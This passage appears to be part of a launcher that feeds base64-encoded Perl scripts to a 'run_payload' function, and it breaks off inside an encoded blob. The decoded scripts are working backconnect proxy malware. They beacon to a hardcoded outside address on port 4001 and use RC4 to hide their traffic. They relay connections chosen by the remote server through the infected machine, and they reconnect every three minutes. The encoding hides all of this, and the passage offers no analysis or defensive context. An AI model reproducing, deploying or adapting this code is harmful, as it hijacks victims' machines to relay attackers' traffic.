QkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_37.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTc5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJ